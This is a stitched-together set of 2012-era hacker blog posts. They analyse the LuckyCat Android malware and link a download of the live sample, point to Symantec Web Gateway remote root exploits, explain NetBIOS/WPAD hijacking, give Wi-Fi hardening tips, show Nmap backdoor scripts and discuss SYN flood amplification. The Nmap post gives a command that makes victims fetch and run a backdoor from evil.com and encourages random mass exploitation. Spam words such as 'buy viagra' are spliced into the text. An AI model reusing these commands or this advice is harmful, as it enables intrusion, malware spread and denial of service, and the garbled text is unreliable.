Quick Post: Initial Analysis of “LuckyCat” APT Android Malware

First off, view I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, online on with the show!

So I was browsing the Contagio Mobile Malware Dump and came across this: http://contagiominidump.blogspot.ie/2012/08/luckycata-android-apt-malware.html#more

I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, sickness very simplistic malware).

So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.

Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.

I eventually found the following code in the “CMainControl.java” class:
private String strReIP = “greenfuns.3322.org”;
private String strRePort = “54321”;

Now, this lead me to think “So, it connects to that host on that port… Interesting”.

An nslookup shows this no longer seems to exist:
$ nslookup greenfuns.3322.org
Server:        192.168.1.254
Address:    192.168.1.254#53

Non-authoritative answer:
Name:    greenfuns.3322.org
Address: 10.0.0.101

3322.org is, unless I am mistaken, a dynamic DNS provider.  A whois shows it to be China based, as expected.

While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.

I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source. Password for zip files is “infected”, where needed.

https://www.dropbox.com/s/bbj2y6w9zku10vw/LuckyCat-Android-Malware.zip

 

0x4641494c – Fail Patching and Symantec Remote Root Redux!

Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it :)

So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.

Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship? ;)

Without further ado, here is the exploit: Muts Reloaded!

Anyways, I better go off and finish that demo on Cryptfuscate I promised I would write :)
~infodox

nbsniff – Abusing the Netbios Name Lookup Service

This is a very short post, basically pointing you at someone elses site for something awesome, however, seeing as it is kind of a hot topic, I may as well write SOMETHING about it.

Recently there was a massive stir about the “FLAME” malware (which I am working on an article about) using a MITM attack to propegate, by hijacking Microsoft Update(s).

Pretty cool, no?

Well, first off, lets look at how it went about it.
First off, it used the NetBIOS hijacking technique (wherin, any netbios name lookup was answered with “ME”) to give victims a bogus WPAD.dat file.

“lolwat”?
Ok. When your computer is looking up another computer, it first tries DNS to see can it resolve the domain to an IP. Hijacking someones DNS is trivial, but requires a full on ARP poisoning, or rerouting, attack, which is pretty involved. So. If the domain DOESN’T resolve, the computer broadcasts a “NetBIOS Name Lookup” to EVERYONE, and in theory, only a computer with a matching name will reply.

This is where we come in. We reply with “Yeah, thats us!” to their request, and they then “trust” that we are who they are looking for.

So. When their computer automatically checks is there a WPAD server (Web Proxy Auto Discovery – a server on the network that tells computers what proxy settings to use) – we tell them “yo, thats me”. And serve up a malicious WPAD.dat file. Which, could make them simply route all their traffic through a logging proxy on our box, but in this case, simply tells them that we are their Windows Update providers.

When they then request updates, we go “here” and give them their Windows Updates (actually malware).

A fairly trivial attack really… Though Ron over at SkullSecurity can provide you with software to do this kind of thing, and likely explains it better :)

So without further ado, here be links to some software and stuff for you to play with :)
http://www.skullsecurity.org/wiki/index.php/Nbtool
http://www.skullsecurity.org/wiki/index.php/Nbsniff
SkullSecurity – Pwning Hotel Guests

10 simple tips to secure your (home) Wireless network.

Ok, pills I never thought I would write this, however over the coming weeks I plan to write up a few simple “checklists” for the average computer user to help them secure their networks (well, make them a BIT harder to penetrate) and their computers.

Also please note this is the raw draft written up between 4am and 5.48am, Saturday 2nd of June and published sometime later that day. All concept of time and space is gone to hell due to the immense amount of sleep deprivation my fuzzing of MiniWeb is causing me. It was written on the fly, and is all original content. It is just shit off the top of my head, so if you notice any flaws in it, alert me.
The links/references to tools I refer to are at the bottom and were/will be added just prior to publication. Seeing as spellchecker has not chewed me out yet, buy viagra there is clearly no problem :P

1. If you do not need it, turn it off!
Too many home users out there do not ACTUALLY USE their wireless networks. I have seen many cases where there is a wireless access point supplied by their ISP, enabled, with encryption either turned off, or defaulting to WEP, and the computer is actually connected via a LAN cable.
This, is opening you up to a totally pointless security risk. If you are NOT using wireless, you should NOT have it turned on. It is as simple as that. By leaving it enabled when not necessary, you pointlessly increase your attack surface to anyone within reach. And with a nice antenna… Well… Lets just say, “within reach” can mean “within a very bloody long distance”.

2. If you have not enabled encryption, do so.
This is simple. If your access point does not need authentication to connect, you should really fix this by enabling it. Which brings us to step three…

3. If you are STILL using WEP, upgrade to WPA-2 NOW!
Ok. Some simple stats/figures. If, for some reason, you, like MANY others, are still using the WEP encryption on your router/access point, you are just ASKING for someone to own you, be it a non malicious nearby kid who wants free internet, or someone who wants to, er, “explore”, your network. And all too often that freeloading kid turns out to be an explorer… Either way, using WEP is a very serious risk. You may as well be using NO encryption.
Let me explain it simply. My “fastest record”, from starting sniffing/injecting to cracking the WEP key, has been three minutes. Drunk. In a bar. Using nothing other than the freely available, open source, aircrack-ng toolkit. Three minutes. Less than the amount of time it takes to smoke a cigarette. Less than the amount of time it (normally) takes me to get a pint of Guinness at a bar.
WPA-2, on the other hand, (or even WPA, but why not opt for the more secure, better encrypted version?), can be a TOTAL pain to crack. First you have to capture a handshake, then you have to crack the key. Waiting for a handshake to appear can take hours! Even if you are deauthing people and sniffing, you could STILL be waiting hours! And then there is the chance their password is not in your wordlist… Using WPA exponentially increases (on average, in MY experience), the amount of time it takes to access your network.

4. Use a secure wireless passphrase.
First off, the default passphrase that comes with your wireless router/access point, is rubbish. Change it. It may look secure, but all too often there is a secret (i.e. well known) formula to derive the passphrase from the routers SSID or MAC address. See the Eircom WEP Key Bug for an example on this, though there have been countless other such vulnerabilities exposed.
If your passphrase is a dictionary word, or even a permutation of one, change it. A sentance is more secure, and just as easy to remember. Better yet, some random junk. Your computer will remember it FOR you, so you REALLY have no excuse. You only have to find it once, and there is NO shame in keeping “WPAKEY.txt” in your “My Documents” folder. I do it myself…

5. Disable WPS.
WPS, known as “Wireless Protected Setup”, was designed to allow devices to easily authenticate to access points in a secur fashion. Too bad the implementation has been proven to have some flaws, allowing people with freely available software such as Reaver to crack your WPS within a short period of time.
You should check does your access point allow WPS, and if it does, DISABLE IT. If, for some reason, it cannot be disabled, I would advise replacing it… Or shouting at your ISP repeatedly until they release an upgrade that allows disabling it.
This may cause SOME inconvenience, but I have never actually found a legitimate use for WPS (yet).
Just disable it.

6. MAC Address Filtering.
As a standalone security measure, MAC address filtering is a joke. It is easily bypassed. However, when combined with such things as WPA-2 and string passphrases, it actually adds an extra layer of security. This is the defence in depth principle.
Essentially, this locks your Wireless Access Point to a “whitelist” of devices that you add to it. You simply add the MAC addresses (unique identifying “addresses” on network interface cards) of all the devices you want to allow on your network to the “whitelist”, and nothing else can connect. Unless, someone hijacks the MAC address of one of your devices (trivial), however this DOES add an extra element of complexity to any attacker who wishes to breach your network.

7. Disable SSID Broadcast.
Wireless Access Points are chatty beasts, and quite enjoy telling EVERYONE within range about their existance, who they are, who made them, their signal strength, and what encryption they use.
This is similar (to steal a phrase from SOMEWHERE, I CANNOT REMEMBER WHERE) standing in the street shouting your name, address, date of birth, creditcard number, CVV2, mothers maiden name, PPS Number/SSN and whether or not you are armed. Fucking stupid.
You would not do such a thing (I hope!), so why should your wireless hotspot?
You should change the SSID to something nonstandard and unique, and then disable broadcasting. This means that (in theory) only people who already know its SSID/Name can even consider connecting to it, and everyone else sees “hidden network”.
However, this alone is also useless – it can be broken/circumvented by a skilled attacker. HOWEVER, it adds yet another layer of complexity to the attack, and again, helps us in applying the Defence in Depth principle.

8. Lock Administrative Interfaces.
This one is also quite simple. Log into your router. Think for a moment about how incredibly lame the username/password it uses is. Change them.
This stops malicious intruders from (Easily) reconfiguring your network, which could allow them to launch Pharming attacks on you by reconfiguring your DNS servers. If you lock these down, it may just help in slowing down an attacker or even make them just give up and move on to easier pickings.

9. Routinely Scan your Network.
I do this, and I advise everyone to do this. Download something like Nmap and use it every so often to scan your network for unauthorized devices connected, rogue services that should not be running, and other such nasty things. This can often help you in detecting a breach early and rectifying it, and can also assist you in locating vulnerabilities in your network. I know Microsoft Security Essentials also has an auditing tool, you should also run this, or Nessus, to detect vulnerable devices attached to the network.

10. Change Everything Regularly.
This one is the one most people fail to do: Change their passwords regularly.
In the event of a compromise, you CAN LIMIT THE DAMAGE, if you are routinely changing the passphrases on your gear. I do so every 2 weeks out of habit – every 2 weeks, I simply change ALL the passwords again. It only takes a few minutes. And you know what? It is certainly worth the time for the extra peace of mind – if someone HAD gotten in during those 2 weeks, they are now locked out. Until they get in again. This limits your exposure, and helps frustrate an attacker to the point where they give up. It is also good security policy. Also change the hidden SSID to something new, and check have any new MAC addresses been added to your whitelists. AUDIT THE WHITELISTS. This is one sure fire way of detecting intrusions – spotting the attackers MAC in your “whitelist”. This way you also have evidence of an intrusion and can report it to the authorities, or simply set up something to alert you when they try connect…

Refs/Links:
The Aircrack Project
Reaver WPS Cracker
Eircom WEP Key vulnerability
nmap
Nessus

Scanning for Backdoors with the Nmap Scripting Engine

Nmap is not just limited to scanning and host-OS/service version detection and such, drugstore it also features an AWESOME scripting engine (the NSE) which uses LUA for its scripts. I hope to cover many “fun” uses of nmap’s scripting engine over the next while, though this post is going to be a bit… Edgier and more “evil” in a sense. Also VITALLY useful and important for those of you hunting down backdoored boxes!!

Every so often someone pops an open source projects SVN or such, treatment and backdoors the source code. This source code then finds its way onto potentially millions of systems, depending on if/when the breach is detected, or the backdoor is noticed. Sometimes, someone writes an nmap script to scan for such compromised systems, and, god forbid, even exploit them!

We will be showing off the following three scripts in this post, prostate and using it as a primer for using nmap’s scripts. (I will only be giving demo usage of one, the other two are the same and are left to the reader as an exercise.)

ftp-proftpd-backdoor.nse
ftp-vsftpd-backdoor.nse
irc-unrealircd-backdoor.nse

These scripts are intended to locate backdoored installations of ProFTPd, vsFTPd, and UnrealIRCd, respectively.

For the example, we will use: “ftp-proftpd-backdoor.nse”
This script is intended to locate backdoored installations of ProFTPd – OSVDB-ID 69562 – and tests them using the “id” command. Please note, this is regarded as a “remote root” vulnerability and was (And is) actively exploited in the wild.

Basic Usage:
root@bha:~# nmap —script ftp-proftpd-backdoor victim.tld

This simply tests for the vulnerability, using all defaults. Nothing too special, but VERY useful for quickly testing.

Using as an exploit!
This script takes an arguement that allows you to specify a custom command to run on the vulnerable system, which is VERY useful during a penetration test!

root@bha:~# nmap —script ftp-proftpd-backdoor —script-args ftp-proftpd-backdoor.cmd=”wget http://evil.com/backdoor.pl & perl backdoor.pl” victim.tld

Please note the —script-args followed by the arguement (arg=var format) showing what command to run. In this example we have it forcing the vulnerable host to download and run a backdoor. (Yes, another one. This time maybe a reverse shell, or a loader for something like Jynx Rootkit…).

Mass Haxploitation?
Ok. Now for the real blackhats in the audience… Yes, you can scan ranges with this. Just replace target.tld with your standard CIDR range specifier… OR… For those who are less discriminate, the -iR flag and not bothering to specify a target range will simply scan IP’s at random. Further optimizations include the -p21 (only port 21) arguement, the -T5 (Insane scan speed) and -P0 (Don’t waste my time pinging!) arguements…

The other two are similar. To get information on them (an exercise best left to the reader), perhaps the following may be of assistance:

root@bha:~# nmap —script-help ftp-proftpd-backdoor
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-16 00:41 IST

ftp-proftpd-backdoor
Categories: exploit intrusive malware vuln

http://nmap.org/nsedoc/scripts/ftp-proftpd-backdoor.html

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.

See? You can ask for help! Just pass the name of the script to nmap, and it will help you out using the nsedoc engine :)

Another challenge that I put out there for any aspiring evil geniuses: How about using all three scripts AT ONCE? Optimized? It CAN be done, and maybe I will write about it.

If you figure out what I am talking about, toss the optimized strings in a comment :)

// I know I posted this on my Tumblr,  yeah, I am migrating content.

Symantec Web Gateway 5.0.2 Remote Root Exploit

So I was browsing the net and happened across Muts’ latest PoC – an LFI bug in Symantec Web Gateway, which he claims gives remote root. You can see it here: Exploit DB

I read the exploit code and noticed, while beautifully elegant, it is a little bit of a pain in the ass to use, as you must edit it every single time.

I also was in the mood to knock up a quick bit of python, so here is what I made: Pastebin – Exploit Code

It is not the best, but was just my attempt to make the exploit code Muts provided a little better in the usability stakes :)

I have no Symantec WebGateway to test it in, but it should do the trick ;)

Anyway, thats it. All credit to Muts for finding the bug and writing the original exploit code, all I am doing is improving it. Will likely do this a lot for fun and to keep my programming skills sharpened :D

~infodox

Reflected SYN Floods

Spoofed SYN Flooding – A closer look at Amplification and Reflection.

In the First Part of this series on Denial of Service attacks, I explained how Spoofed SYN Floods worked. I also briefly mentioned in the SYN flood part, how the server replies with *more* data than you sent it.

In most cases anyway, this is true. If I send ONE SYN packet to a server, it normally sends 5-7 SYN-ACK packets back at me, just in case some get lost along the way.

So, for every packet I send, I get several packets back… Bear this in mind as we continue.

The Spoofed SYN flood script shown, spoofs its SOURCE IP as that of a random host. So our victim will be sending this random host a SYN-ACK packet, that the random host never knew was coming. In fact, it will be sending it *several* SYN-ACK packets…
So what does the random-host do about this?

Well, if you receive an erroneous SYN-ACK packet that you never requested, you simply reply with an RST, or RESET packet. This is the cyber-equivalent of “Bugger off”. And you don’t just send one either… You send between five and seven of them…
Now before you start thinking you could kick off some kind of endless loop here, no. If you get a RST you do not reply. Simple as that.

So, are we getting the picture here? We can have an amplification factor of (theoretically) between 25 and 49 times the amount of packets we are flooding with. IN THEORY. Accounting for massive packet losses that tend to happen in flood conditions, we are looking at a more modest 5-6 times amplification… Which is still not bad! Not bad at all! We MAY even get a 10x amplification if we are very lucky…

So, that simple Spoofed SYN Flood script I posted… A lot more lethal now, no?

AS an aside, What if you never bother sending packets to the victim host at all? What if you spoof yourself AS the victim, and spam the entire internet? This is going to give you a 3-4 times amplification, and is the implementation most spoofed-syn-flood users use. I have NO idea why, as it is less efficient. However, it does bypass rate limiting,, so it has its place. I will post up some example code that does this next time I find it…

References/fact checking:
RFC 793
RFC 4987
CERT Advisory 1996-21
Arbor Networks